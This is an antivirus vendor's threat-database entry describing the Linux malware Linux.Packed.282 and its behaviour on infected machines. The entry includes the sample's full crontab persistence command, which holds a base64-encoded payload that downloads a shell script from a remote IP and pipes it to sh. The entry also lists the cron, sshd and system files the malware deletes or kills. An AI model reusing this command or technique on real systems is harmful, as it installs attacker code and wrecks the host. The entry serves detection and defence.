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Linux.Packed.282

Added to the Dr.Web virus database: 2019-01-18

Virus description added:

Technical Information

Malicious functions:
Launches itself as a daemon
Substitutes application name for:
  • vdnu
  • xxld
Launches processes:
  • sh -c echo '* * * * * echo -n \"KHNsZWVwIDU7IGlmICEgcHMgLWF4IHwgZ3JlcCAtdiBncmVwIHwgZ3JlcCAiWyBdIiQ7IHRoZW4gY2hhdHRyIC1pYSAvdXNyL2Jpbi93Z2V0OyBjaG1vZCA3Nzc3IC91c3IvYmluL3dnZXQ7IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoID4vZGV2L251bGwgMj4mMTsgZWxzZSBraWxsYWxsIC1mIHB5dGhvbjsga2lsbGFsbCAtZiB3Z2V0OyBraWxsYWxsIC1mIGN1cmw7IGZpKQ==\" | base64 -d |sh > /dev/null 2>&1' | crontab -;
  • crontab -
  • sh -c /root/joyb xxld
  • /root/joyb xxld
  • sh -c /root/gyxfcc
  • /root/gyxfcc
Kills system processes:
  • sshd
Kills the following processes:
  • cron
  • atd
Performs operations with the file system:
Modifies file access rights:
  • /root/joyb
  • /root/gyxfcc
Deletes folders:
  • /tmp/.font-unix
  • /tmp/.ICE-unix
  • /tmp/.X11-unix
  • /tmp/.XIM-unix
  • /tmp/.Test-unix
  • /var/spool/cron/atjobs
  • /var/spool/cron/atspool
  • /var/spool/cron/crontabs
Creates or modifies files:
  • /var/spool/cron/crontabs/tmp.s5gHBs
  • /root/joyb
  • /root/p
  • /root/gyxfcc
Deletes files:
  • /var/spool/cron/atjobs/.SEQ
  • /var/spool/cron/crontabs/root
  • /etc/cron.hourly/.placeholder
  • /etc/cron.daily/passwd
  • /etc/cron.daily/aptitude
  • /etc/cron.daily/mlocate
  • /etc/cron.daily/logrotate
  • /etc/cron.daily/apt
  • /etc/cron.daily/bsdmainutils
  • /etc/cron.daily/.placeholder
  • /etc/cron.daily/dpkg
  • /etc/cron.daily/man-db
  • /etc/cron.daily/exim4-base
  • /etc/cron.weekly/.placeholder
  • /etc/cron.weekly/man-db
  • /etc/cron.monthly/.placeholder
  • /etc/cron.d/.placeholder
  • /root/p
Network activity:
HTTP GET requests:
  • 18#.###.169.6/jp/jrd
  • 18#.###.169.6/jp/lmmml

Curing recommendations


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